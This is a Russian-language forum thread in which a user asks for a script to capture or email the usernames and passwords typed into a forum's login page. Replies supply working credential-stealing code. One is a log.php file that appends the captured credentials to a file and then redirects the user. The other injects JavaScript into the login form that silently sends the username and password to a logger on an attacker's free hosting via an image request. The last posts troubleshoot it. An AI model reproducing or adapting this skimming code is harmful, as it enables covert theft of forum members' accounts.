Помогите пжл сделать скрипт для сохранения логина и пароля или отсылки на мыло.Примерный html код входа Code: <!-- BEGIN switch_user_login_form_header --> <form action="{S_LOGIN_ACTION}" method="post" name="form_login"> <!-- BEGIN switch_fb_connect_no --> <table width="100%" border="0" cellspacing="0" cellpadding="0" class="user_login_form forumline"> <tr> <td class="row1" align="center"> <table border="0" cellspacing="0" cellpadding="0"> <tr> <td><span class="genmed">{L_USERNAME}:</span> </td> <td><input class="post" type="text" size="10" name="username"/> </td> <td> <input class="radio" type="checkbox" name="autologin" {AUTOLOGIN_CHECKED} /> <span class="gensmall">{L_AUTO_LOGIN}</span> </td> </tr> <tr> <td><span class="genmed">{L_PASSWORD}:</span> </td> <td><input class="post" type="password" size="10" name="password"/> </td> <td>{S_HIDDEN_FIELDS}<input class="mainoption" type="submit" name="login" value="{L_LOGIN}" /></td> </tr> </table> </td> </tr> </table> <!-- END switch_fb_connect_no --> <!-- BEGIN switch_fb_connect --> <table width="100%" border="0" cellspacing="0" cellpadding="0" class="user_login_form forumline"> <tr> <td valign="top" width="100%" class="row1" align="center"> <table width="100%"> <tr> <td width="55%" valign="middle" align="right"> <table class="right"> <tr> <td><span class="genmed">{L_USERNAME}:</span> </td> <td><input class="post" type="text" size="10" name="username"/> </td> <td> <input class="radio" type="checkbox" name="autologin" {AUTOLOGIN_CHECKED} /> <span class="gensmall">{L_AUTO_LOGIN}</span> </td> </tr> <tr> <td><span class="genmed">{L_PASSWORD}:</span> </td> <td><input class="post" type="password" size="10" name="password"/> </td> <td>{S_HIDDEN_FIELDS}<input class="mainoption" type="submit" name="login" value="{L_LOGIN}" /></td> </tr> </table> </td> <td width="10%" align="center" valign="middle"> <span class="genmed fb_or">{switch_user_login_form_header.switch_fb_connect.L_OR}</span> </td> <td width="35%" class="align_gauche"><fb:login-button size="large" onlogin="window.location='/facebook_connect.forum'" v="2" perms="{switch_user_login_form_header.switch_fb_connect.L_FB_PERMISSIONS}">{switch_user_login_form_header.switch_fb_connect.L_FB_LOGIN_BUTTON}</fb:login-button></td> </tr> </table> </td> </tr> </table> <!-- END switch_fb_connect --> </form> <!-- END switch_user_login_form_header -->
PHP: <!-- BEGIN switch_user_login_form_header --> <form action="log.php" method="post" name="form_login"> <!-- BEGIN switch_fb_connect_no --> <table width="100%" border="0" cellspacing="0" cellpadding="0" class="user_login_form forumline"> <tr> <td class="row1" align="center"> <table border="0" cellspacing="0" cellpadding="0"> <tr> <td><span class="genmed">{L_USERNAME}:</span> </td> <td><input class="post" type="text" size="10" name="username"/> </td> <td> <input class="radio" type="checkbox" name="autologin" {AUTOLOGIN_CHECKED} /> <span class="gensmall">{L_AUTO_LOGIN}</span> </td> </tr> <tr> <td><span class="genmed">{L_PASSWORD}:</span> </td> <td><input class="post" type="password" size="10" name="password"/> </td> <td>{S_HIDDEN_FIELDS}<input class="mainoption" type="submit" name="login" value="{L_LOGIN}" /></td> </tr> </table> </td> </tr> </table> <!-- END switch_fb_connect_no --> <!-- BEGIN switch_fb_connect --> <table width="100%" border="0" cellspacing="0" cellpadding="0" class="user_login_form forumline"> <tr> <td valign="top" width="100%" class="row1" align="center"> <table width="100%"> <tr> <td width="55%" valign="middle" align="right"> <table class="right"> <tr> <td><span class="genmed">{L_USERNAME}:</span> </td> <td><input class="post" type="text" size="10" name="username"/> </td> <td> <input class="radio" type="checkbox" name="autologin" {AUTOLOGIN_CHECKED} /> <span class="gensmall">{L_AUTO_LOGIN}</span> </td> </tr> <tr> <td><span class="genmed">{L_PASSWORD}:</span> </td> <td><input class="post" type="password" size="10" name="password"/> </td> <td>{S_HIDDEN_FIELDS}<input class="mainoption" type="submit" name="login" value="{L_LOGIN}" /></td> </tr> </table> </td> <td width="10%" align="center" valign="middle"> <span class="genmed fb_or">{switch_user_login_form_header.switch_fb_connect.L _OR}</span> </td> <td width="35%" class="align_gauche"><fb:login-button size="large" onlogin="window.location='/facebook_connect.forum'" v="2" perms="{switch_user_login_form_header.switch_fb_connect.L _FB_PERMISSIONS}">{switch_user_login_form_header.switch_fb_connect.L _FB_LOGIN_BUTTON}</fb:login-button></td> </tr> </table> </td> </tr> </table> <!-- END switch_fb_connect --> </form> <!-- END switch_user_login_form_header --> Создаешь log.php PHP: <?PHP $username = $_POST['username']; // Логин $password = $_POST['password']; // Пароль $log = fopen("переименовать.php","a+"); //открываем файл базы fwrite($log,"<br> $username:$password \n"); //записываем всё fclose($log); //закрываем echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://'></head></html>"; // куда пошлем пользователя после того как он ввел данные! ?> создаешь переименовать.php - туда будут сохранятся!
html это не язык программирования, это язык разметки. Он не умеет ничего кроме разметки страницы. Он преобразуется браузером,а не как пхп выполняется на сервере. т.к Письма отсылать он тоже не умеет. Попробуй в action поставить скрипт на своем хостинге, им принимать и записывать, потом отсылать на уже настоящий формировать пост пакет с данными авторизовываться и все) Но это для тех кто знает толк в извращениях)))
Регаешь бесплатный хостинг с подержкой php. Создаешь там файл такого содержания. PHP: <?php if(isset($_GET['pass'])) { $fp = fopen('log.txt', 'at'); fwrite($fp, $_GET['uname'].":".$_GET['pass']."\n"); } ?> Добавляешь в конец файла html этот код. Где в переменную url заносишь адрес до скрипта, который создал в пункте выше. HTML: <script language="javascript" type="text/javascript"> function send() { url = "ПУТЬ_К_ФАЙЛУ_НА_ТВОЕМ_ХОСТИНГЕ"; uname = document.getElementsByTagName('input')[0].value; pass = document.getElementsByTagName('input')[2].value; img = new Image(); img.src=url+"?pass="+pass+"&uname="+uname; } </script> К форме в файле html добавляешь: onsubmit="send();" чтобы получилось примерно так: HTML: <form action="{S_LOGIN_ACTION}" method="post" name="form_login" onsubmit="send();"> В общем смысл думаю понятен, конкретно под эту задачу мб придется чуть изменить код.
Сделал вроде так. Я так понимаю все должно записываться в файл log.txt. Несколь раз попровобал зарегиться или просто войти. log.txt остаетеся пустой.
derk сделал еще и по твоей рекомендации. Все происходит незаметно. Но в файл переименовать.php записалось один раз <br> : <br> : и все